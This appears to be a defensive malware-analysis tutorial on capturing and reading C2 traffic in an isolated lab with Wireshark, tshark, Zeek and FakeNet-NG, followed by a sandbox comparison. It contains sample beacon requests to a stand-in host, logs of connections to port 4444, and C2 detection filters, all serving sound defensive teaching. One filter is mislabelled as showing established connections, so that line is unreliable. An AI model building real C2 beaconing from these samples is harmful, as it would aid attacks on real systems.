Malware Analysis — Part 8: Dynamic Analysis Part 2 — Network Traffic and Sandboxes

Previous: Part 7 — Dynamic Analysis Part 1: Behavioral Monitoring

Why Network Analysis Matters

Every piece of modern malware communicates over the network — checking in with a command-and-control server, receiving instructions, exfiltrating stolen data, downloading additional payloads. The network is where malware reveals its purpose most clearly because the network is where it does its actual work.

Network analysis during dynamic analysis gives you:

Command-and-control infrastructure: The IP addresses, domains, and URLs the malware uses to communicate. These become blocklist entries, firewall rules, and threat intelligence that protects other systems.

Protocol analysis: How the malware communicates — HTTP, HTTPS, custom binary protocol, DNS tunneling, SMTP. Understanding the protocol helps you write better detection rules and understand the malware's capabilities.

Data exfiltration: What information the malware sends out — credentials, documents, screenshots, system information. This tells you what was stolen.

Behavioral fingerprinting: The timing, frequency, and pattern of network communications can uniquely identify a malware family even when other indicators have been changed.

Network Capture Strategy

In your lab, network traffic flows like this:

Windows Malware VM
      │ (all network traffic)
      ↓
Internal-Lab Switch (vmbr)
      │
      ├──→ REMnux (monitoring with Wireshark)
      │
      ↓
pfSense (gateway)
      │
      ├──→ [Blocked: real internet]
      ↓
INetSim (on REMnux, simulating internet)

You capture network traffic at two points:

1. REMnux Wireshark — captures all traffic on the Internal-Lab interface, including everything between the malware VM and pfSense
2. FakeNet-NG (on Windows) — captures and responds to traffic locally on the Windows VM, before it even reaches the network

Running both gives you redundancy and different perspectives on the same traffic.

Wireshark — Deep Network Analysis

Wireshark (wireshark.org) is the industry-standard network protocol analyzer. It captures raw network packets and lets you examine them at every level — from Ethernet frames to application-layer HTTP requests.

Free and open source. Pre-installed on REMnux and in FLARE-VM.

Setting Up Wireshark on REMnux

Before executing the malware, start a capture on REMnux:

# Start capture on the Internal-Lab interface
# Save to file immediately (prevents data loss if REMnux crashes)
sudo wireshark -i eth0 -w /home/remnux/captures/$(date +%Y%m%d_%H%M%S).pcap

Or use tcpdump for a lighter-weight capture:

sudo tcpdump -i eth0 -w /home/remnux/captures/analysis_$(date +%Y%m%d).pcap

Then open the PCAP in Wireshark after analysis for review.

Wireshark Interface Overview

The Wireshark interface has three main panels:

Packet List (top): Every captured packet as a single line — timestamp, source/destination IP, protocol, length, and a brief info description.

Packet Details (middle): The selected packet decoded into its protocol layers — Ethernet → IP → TCP/UDP → Application layer. Each layer can be expanded to see individual fields.

Packet Bytes (bottom): The raw bytes of the selected packet in hex and ASCII. Useful for examining raw payload content.

Essential Wireshark Filters

Display filters (entered in the filter bar) narrow the view without affecting what was captured:

# Show only traffic to/from the malware VM
ip.addr == 192.168.1.50

# Show only HTTP traffic
http

# Show only DNS traffic
dns

# Show DNS queries (not responses)
dns.flags.qr == 0

# Show DNS responses
dns.flags.qr == 1

# Show traffic to specific port
tcp.port == 4444

# Show only established TCP connections
tcp.flags.syn == 1 and tcp.flags.ack == 0

# Show HTTP requests (GET, POST, etc.)
http.request

# Show HTTP responses
http.response

# Show traffic containing specific string
frame contains "evil-c2.com"
frame contains "beacon"

# Show non-standard ports (not 80, 443, 53, 22)
tcp.port != 80 and tcp.port != 443 and tcp.port != 53

# Show large packets (possible exfiltration)
frame.len > 1000

# Combine filters with AND, OR, NOT
http or dns
ip.addr == 192.168.1.50 and http

Following HTTP Streams

When malware makes HTTP requests, the packets are split across multiple lines in Wireshark. To see the complete HTTP conversation:

1. Right-click a packet from the malware's HTTP connection
2. Follow → TCP Stream
3. Wireshark shows the complete request and response in a single view

A typical malware HTTP beacon might look like:

GET /api/v2/check-in?id=A1B2C3&os=win10&av=none HTTP/1.1
Host: evil-server.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 48

<encrypted command data>

What this tells you:

• URL path (/api/v2/check-in) — the C2 endpoint
• Query parameters (id=A1B2C3, os=win10, av=none) — victim fingerprinting, what data the malware sends about the infected system
• User-Agent (Mozilla/4.0 (compatible; MSIE 6.0)) — an old, fake User-Agent — a strong detection indicator since real browsers stopped using this string in 2016
• Response content — encrypted command data returned to the malware

Analyzing DNS Traffic

DNS is where malware's C2 domains first appear. Every C2 communication starts with a DNS query. Wireshark shows DNS in detail:

Filter for DNS:

dns

What to look for in DNS queries:

DNS tunneling: Some malware uses DNS queries and responses to tunnel data, bypassing firewalls that allow DNS. The malware encodes data in DNS query names and receives commands in DNS response data. Indicators:

• Unusually long DNS query names
• High volume of DNS traffic
• Queries for many subdomains of the same domain

# Filter for long DNS names (possible tunneling)
dns.qry.name.len > 40

Extracting Files from Network Captures

Wireshark can reassemble files transferred over HTTP, FTP, SMTP, and other protocols from captured packets.

Extract HTTP objects (files transferred over HTTP):

1. File → Export Objects → HTTP
2. Wireshark lists all files transferred via HTTP
3. Save individual files or all at once

Common artifacts you can extract:

• Payload binaries downloaded by a loader
• Documents or scripts exfiltrated by spyware
• Configuration files received from C2
• Decryption keys delivered by C2

Extracting from FTP, SMB, SMTP:

File → Export Objects → [Protocol]

PCAP Analysis with tshark (Command Line)

tshark is the command-line version of Wireshark, useful for automated analysis of large captures:

# Show all HTTP GET requests
tshark -r capture.pcap -Y "http.request.method == GET" \
  -T fields -e http.host -e http.request.uri

# Extract all DNS queries
tshark -r capture.pcap -Y "dns.flags.qr == 0" \
  -T fields -e dns.qry.name

# Show all unique destination IPs
tshark -r capture.pcap -T fields -e ip.dst | sort -u

# Show connections by port
tshark -r capture.pcap -T fields -e tcp.dstport | sort | uniq -c | sort -rn

# Extract HTTP streams and save to file
tshark -r capture.pcap -q -z follow,tcp,ascii,0 > http_stream.txt

Using Zeek (Bro) for Structured Log Analysis

When you have large captures with thousands of packets, Wireshark's packet-by-packet view becomes unwieldy. Zeek converts PCAPs into structured log files that are much easier to search:

# Process a PCAP with Zeek
zeek -C -r capture.pcap

# This creates several log files:
# conn.log   — all TCP/UDP connections
# dns.log    — all DNS queries
# http.log   — all HTTP requests
# files.log  — all files transferred
# ssl.log    — TLS connections

Reading Zeek logs:

# All HTTP requests with host and URI
cat http.log | zeek-cut host uri | head -20

# All DNS queries (domains the malware queried)
cat dns.log | zeek-cut query qtype_name | sort | uniq -c | sort -rn

# All unique external connections
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | sort -u

FakeNet-NG — Windows-Side Network Simulation

FakeNet-NG (github.com/mandiant/flare-fakenet-ng) is the Windows counterpart to INetSim. It intercepts all network traffic from the analysis VM and responds with fake but plausible responses, while logging everything the malware sends.

Free: Included in FLARE-VM.

FakeNet-NG vs INetSim

Use INetSim when you want comprehensive simulation controlled at the network level — INetSim sees everything regardless of how the malware routes traffic.

Use FakeNet-NG when you want rapid analysis directly on the Windows VM without the complexity of routing through REMnux.

In a full analysis, run both — FakeNet-NG on Windows for convenience and real-time logs, INetSim on REMnux for packet-level capture.

Running FakeNet-NG

# From an elevated PowerShell on the Windows analysis VM
cd C:\Tools\FakeNet-NG
python3 fakenet.py

FakeNet-NG shows real-time logs of every connection attempt:

[HTTP] Received GET /beacon?id=A1B2C3 from 192.168.1.50:49152
  Host: evil-server.com
  User-Agent: Mozilla/4.0
[DNS] Received DNS query for evil-server.com from 192.168.1.50
  Replied: 192.168.1.50 -> 127.0.0.1
[TCP] Connection from 192.168.1.50:49200 to 4.4.4.4:4444 (BLOCKED)

The logs are saved to C:\Tools\FakeNet-NG\fakenet_logs\.

Understanding C2 Communication Patterns

Malware communicates with its C2 server in characteristic patterns that help analysts identify the malware family and understand its operation.

Beaconing

What it is: The malware periodically checks in with the C2 server — like a heartbeat — to receive commands and report status.

What it looks like in Wireshark:

• Regular intervals (every 30 seconds, every 5 minutes, every hour)
• Small packets (just a check-in with victim ID and status)
• Same destination, same URL pattern

Detection implication: Regular beaconing creates a distinctive timing pattern that network monitoring tools can detect even when the traffic appears benign.

Jitter

Sophisticated malware adds random delay to its beaconing to avoid the regular timing pattern that detection tools look for. A sample might beacon every 60 seconds ± 15 seconds of random variation (jitter).

Detecting beaconing with jitter in Wireshark: Look for connections to the same destination at irregular but roughly periodic intervals. The delta times between connections will cluster around a central value even with jitter.

C2 Protocols

Malware uses a variety of protocols for C2 communication, often choosing ones that blend with legitimate traffic:

HTTP/HTTPS (most common): Blends with normal web traffic. The malware may use legitimate-looking URLs and headers. Hard to block without disrupting web access.

DNS: DNS queries and responses for data exfiltration. Hard to block since DNS is required for normal network operation.

Custom binary protocol: A unique protocol designed by the malware author. Often on non-standard ports. Easier to detect by network monitoring since it doesn't match known protocol signatures.

Peer-to-peer: No central C2 server — bots communicate with each other. Used by sophisticated botnets. Harder to disrupt because there's no single server to block.

Social media / legitimate platforms: Some malware uses Twitter, GitHub, Pastebin, or other legitimate platforms to receive commands. The C2 traffic is indistinguishable from legitimate access to those platforms.

TLS and Encrypted C2

Modern malware increasingly uses TLS (HTTPS) for C2 communication. This creates a challenge: the traffic is encrypted and you can't read the contents.

What you can still analyze:

• Server Name Indication (SNI): The hostname is sent unencrypted at the start of the TLS handshake. Even with HTTPS, you can see which domain the malware is connecting to.
• Certificate details: Self-signed certificates or certificates with suspicious subjects (generic company names, expired dates) are red flags
• JA3/JA3S fingerprinting: A technique that creates a fingerprint of the TLS handshake parameters — identifies specific malware clients even without decrypting the traffic

# Show TLS SNI (what host the malware is connecting to, even over HTTPS)
ssl.handshake.extensions_server_name

# Show certificate subject
x509sat.uTF8String

Automated Sandboxes

Automated sandboxes execute malware samples automatically and produce detailed behavioral reports without any manual analysis effort. They are valuable for rapid triage but have important limitations that serious analysts must understand.

ANY.RUN — Interactive Online Sandbox

ANY.RUN (app.any.run) is an interactive sandbox that runs malware in a browser-based Windows VM. Unlike fully automated sandboxes, you can interact with the running malware in real time — click through dialogs, type responses, browse the web.

Free tier: Public analyses with limited session time Paid: Private analyses, longer sessions, API access

What ANY.RUN provides:

• Real-time process tree showing process creation and injection
• Network traffic captured and visualized
• File system changes shown in real time
• Registry changes
• MITRE ATT&CK technique mapping
• Downloadable PCAP and artifacts
• IDS alerts from Suricata

How to use ANY.RUN:

1. Go to app.any.run
2. Click New Task
3. Upload the sample or provide a URL
4. Select OS, Windows version, network configuration
5. Click Start — the VM boots and you see it running in your browser
6. Interact if needed (click through UAC prompts, etc.)
7. Download the report and artifacts when done

Hybrid Analysis

Hybrid Analysis (hybrid-analysis.com) is a fully automated sandbox provided by CrowdStrike. Samples are executed in Windows environments and analyzed automatically.

Free: Up to 5 submissions per day with registration Paid: API access, private submissions, larger volumes

Notable feature: Hybrid Analysis runs samples in multiple environments (different Windows versions, different configurations) and includes Falcon Sandbox's VxStream technology for deeper analysis.

Triage by Hatching

Triage (tria.ge) is a high-speed sandbox that focuses on rapid classification. It runs multiple analysis tracks simultaneously and produces fast results with detailed behavioral profiles.

Free tier: Public submissions with rate limits Paid: Private submissions, API access

Notable feature: Very fast results (often under 2 minutes) and excellent malware family classification.

CAPE Sandbox (Self-Hosted)

CAPE (github.com/kevoreilly/CAPEv2) is an open-source automated malware analysis sandbox that you run on your own infrastructure. It's the active successor to Cuckoo Sandbox (which is no longer maintained).

Free and open source. Requires significant setup but gives you a private, self-hosted sandbox with full control.

Advantages:

• All analysis is private — samples never leave your infrastructure
• Fully customizable analysis environments
• Integration with YARA, Suricata, and other tools
• API for automated workflows
• Extracts malware configurations automatically for many families

When to use a self-hosted sandbox: When analyzing sensitive samples (incident response cases, unpublished malware from ongoing attacks) that you cannot upload to public services.

Limitations of Automated Sandboxes

Automated sandboxes are powerful but have serious limitations that professional analysts must understand:

Time limits: Most sandboxes run for 2–5 minutes. Malware with 10-minute sleep delays appears to do nothing and gets a clean report.

Environment detection: Sophisticated malware detects sandbox environments and remains dormant. A "clean" sandbox report is not evidence a file is safe.

Missing context: Sandboxes analyze the file in isolation. Malware that requires specific system configuration, existing files, or active C2 infrastructure may not behave correctly.

TLS inspection gaps: Encrypted traffic may not be decrypted, hiding C2 communication details.

No substitute for manual analysis: Sandboxes are triage tools. For understanding a sample in depth — its code, its evasion techniques, its decryption routines — manual analysis is required.

The right way to use sandboxes:

1. Use sandbox for initial triage (fast, automated)
2. If sandbox shows interesting behavior → use as starting point for
   manual dynamic analysis
3. If sandbox shows nothing → don't conclude sample is clean — perform
   manual analysis to verify
4. Use manual analysis for deep understanding
5. Use sandbox reports to supplement, not replace, manual findings

Network IOC Extraction Summary

After completing network analysis, you should have extracted:

DNS indicators:

• All domains queried
• Any DGA patterns (randomly-generated domain names)
• DNS tunneling indicators

HTTP/HTTPS indicators:

• C2 URLs (host + path + query parameters)
• User-Agent strings
• Custom headers used for C2
• HTTP methods and response codes

IP address indicators:

• C2 server IPs
• Download server IPs
• Any infrastructure IPs

Protocol indicators:

• Non-standard ports
• Custom protocol descriptions
• TLS certificate details

Behavioral indicators:

• Beaconing interval
• Data exfiltrated (types and quantities)
• Commands received from C2

Verification Checklist

• Wireshark installed on REMnux and captures on Internal-Lab interface
• You can apply Wireshark display filters correctly
• You can follow a TCP stream in Wireshark
• You can extract HTTP objects (files) from a PCAP
• tshark installed and you can extract DNS queries from a PCAP
• Zeek installed and you can process a PCAP into log files
• FakeNet-NG installed on FLARE-VM and starts without errors
• You've created an ANY.RUN free account
• You understand the limitations of automated sandboxes
• You can identify beaconing patterns in Wireshark

Previous: Part 7 — Dynamic Analysis Part 1: Behavioral Monitoring Next: Part 9 — Memory Forensics with Volatility